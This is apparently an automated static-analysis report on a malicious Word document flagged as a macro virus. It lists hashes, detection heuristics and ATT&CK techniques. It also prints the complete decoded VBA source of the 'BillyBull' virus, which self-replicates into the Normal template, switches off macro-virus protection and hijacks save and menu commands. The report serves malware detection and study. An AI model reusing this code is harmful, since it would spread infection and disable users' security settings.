Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1a43abba3ed4864…

MALICIOUS

Office (OLE)

39.5 KB Created: 1997-09-17 03:18:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 1bbd9515876f98c4ea2fd01de1aee8f7 SHA-1: 29c5b776c91d469c409f9426113f9ec4ed0ea32a SHA-256: b1a43abba3ed4864f01c22c0199d8067af396a904f424e73efff63620eb28375
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro markers and a VBA AutoOpen macro named 'BillyBull'. The AutoOpen subroutine attempts to export its own code to a temporary file named '~WRD000^.tmp' and then import it into either the Normal template or the active document, suggesting an attempt to establish persistence or ensure execution. This behavior is characteristic of macro-based malware designed to download and execute further stages.

Heuristics 6

  • ClamAV: Doc.Trojan.Dig-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dig-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    dc.ReplaceLine 2, "const NStat=" & NorStat
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    pth = Environ("temp") & "\~WRD000^.tmp"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5825 bytes
SHA-256: 08159dd86ca0dabb12da1fb5e0ff97459d9405f5fb283c001ca2037c92f61484
Detection
ClamAV: Doc.Trojan.Dig-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BillyBull"
Option Explicit
Const NStat = 1
Const VStat = 1
'Copyright © 2001 by GremMe&Zergo from dd!Actor.
'All rights reserved.

Sub AutoOpen()
RunMeAldays

Dim pth As String, i As Byte, dc As Object
Dim NInst As Boolean, AInst As Boolean

pth = Environ("temp") & "\~WRD000^.tmp"
Set dc = NormalTemplate.VBProject.VBComponents

For i = 1 To dc.Count
    If dc(i).Name = "BillyBull" Then
        NInst = 1
        dc(i).Export pth
    End If
Next i

Set dc = ActiveDocument.VBProject.VBComponents

For i = 1 To dc.Count
    If dc(i).Name = "BillyBull" Then
        AInst = 1
        dc(i).Export pth
    End If
Next i

If AInst = True And NInst = False Then Set dc = NormalTemplate
If AInst = False And NInst = True Then Set dc = ActiveDocument
If AInst = False Or NInst = False Then
    dc.VBProject.VBComponents.Import pth
    dc.Save
'    If Mid(ActiveDocument.FullName, 2, 1) = ":" Then dc.Save
    Kill pth
End If

End Sub

Sub AutoExec()
    RunMeAldays
End Sub

Sub FileSave()
'On Error Resume Next
    AutoOpen
'    RunMeAldays
    Pricol
    ActiveDocument.Save
End Sub

Sub FileSaveAs()
On Error Resume Next
    AutoOpen
'    RunMeAldays
    Pricol
    Dialogs(wdDialogFileSaveAs).Show
End Sub

Sub ToolsOptions()
Dim dc As Object
Dim VirStat As Byte
Dim NorStat As Byte

On Error Resume Next

Options.SaveNormalPrompt = NStat
Options.VirusProtection = VStat
Dialogs(wdDialogToolsOptions).Show

Set dc = ActiveDocument.VBProject.VBComponents("BillyBull").CodeModule
If Options.SaveNormalPrompt = True Then NorStat = 1
If Options.VirusProtection = True Then VirStat = 1

dc.ReplaceLine 2, "const NStat=" & NorStat
dc.ReplaceLine 3, "const VStat=" & VirStat

Options.SaveNormalPrompt = 0
Options.VirusProtection = 0

NormalTemplate.Save
NormalTemplate.Saved = True
End Sub
Sub ToolsMacro()
Dim i As Byte, n As Integer, pth As String
Dim NInst As Boolean, AInst As Boolean, Nsav As Boolean, Asav As Boolean, res As Boolean
Dim dc As Object, dcN As Object, dcA As Object

MsgBox ("toolmacro")
On Error Resume Next

pth = Environ("temp") & "\~WRD000^.tmp"

Set dcN = NormalTemplate.VBProject.VBComponents
Set dcA = ActiveDocument.VBProject.VBComponents

Set dc = NormalTemplate.VBProject
GoSub 10
NInst = res

Set dc = ActiveDocument.VBProject
GoSub 10
AInst = res

If NInst = True Then
    Set dc = dcN
    GoSub 20
    Nsav = NormalTemplate.Saved
    NormalTemplate.Saved = 1
End If

If AInst = True Then
    Set dc = dcA
    GoSub 20
    Asav = ActiveDocument.Saved
    ActiveDocument.Saved = 1
End If

Dialogs(wdDialogToolsMacro).Show

dcN("BillyBull").CodeModule.AddFromFile pth
dcA("BillyBull").CodeModule.AddFromFile pth
dcN.CodeModule.AddFromFile pth

NormalTemplate.Saved = Nsav
dcA.CodeModule.AddFromFile pth

ActiveDocument.Saved = Asav
Kill pth
Exit Sub

10:
For i = 1 To dc.VBComponents.Count
    If dc.VBComponents(i).Name = "BillyBull" Then
        res = 1
        dc.VBComponents(i).Export pth
    End If
Next i
Return

20:
dc.Export pth
n = dc("BillyBull").CodeModule.CountOfLines
dc("BillyBull").CodeModule.DeleteLines 1, n
Return

End Sub
Sub ViewVBCode()
Dim i As Byte, j As Byte
Dim n As Integer, pth As String
Dim dc As Object, dcN As Object, dcA As Object
'If Dir("c:\autoexec.bat") <> "" Then
'    If FileLen("c:\autoexec.bat") <> 777 Then
'        RunMeAldays
'        Pricol
'        Exit Sub
'        Else
'Dialogs(wdDialogToolsMacro).Show
Set dc = NormalTemplate.VBProject
'        Application.VBE.MainWindow.Visible = False
        Application.VBE.MainWindow.Visible = True
'NormalTemplate.VBProject.VBComponents.Import ("C:\module1.")
'NormalTemplate.VBProject.VBComponents.Item(2).Export ("qqq")
'NormalTemplate.VBProject.VBComponents.Remove (NormalTemplate.VBProject.VBComponents.Item(2))

For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(i).Name = "BillyBull1" Then
        Set dc = NormalTemplate.VBProject.VBComponents.Item(i)
        n = dc.CodeModule.CountOfLines
        dc.CodeModule.DeleteLines 1, n
        NormalTemplate.VBProject.VBComponents.Item(i).CodeModule.InsertLines(1, "wwww") = "qq"
'        NormalTemplate.VBProject.VBComponents.Remove
'        NormalTemplate.VBProject.VBComponents.Remove (NormalTemplate.VBProject.VBComponents.Item(i))
    End If
Next i

NormalTemplate.Saved = 1
'Set dc = NormalTemplate.VBProject.VBComponents("BillyBull").CodeModule

'For i = 1 To dc.VBComponents.Count
'    If dc.VBComponents(i).Name = "BillyBull" Then
'        For j = 1 To Application.VBE.Windows.Count
'            Application.VBE.Windows(1).Visible = False
''            Application.VBE.Windows(j).Visible = False
'        Next j
''        NormalTemplate.VBProject.VBComponents(i).VBE.Windows.
'    End If
'Next i
'            Application.VBE.MainWindow.Visible = True
'    End If
'End If
End Sub
Sub RunMeAldays()
    Application.EnableCancelKey = wdCancelDisabled
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
    Application.VBE.MainWindow.Visible = False
End Sub

Sub Pricol()
'    ActiveDocument.PageSetup.LeftMargin = InchesToPoints(2.5)
'    ActiveDocument.PageSetup.RightMargin = InchesToPoints(2.5)
'    ActiveDocument.PageSetup.BottomMargin = InchesToPoints(2.5)
'    ActiveDocument.PageSetup.TopMargin = InchesToPoints(2.5)
'
'    ActiveDocument.UndoClear
End Sub

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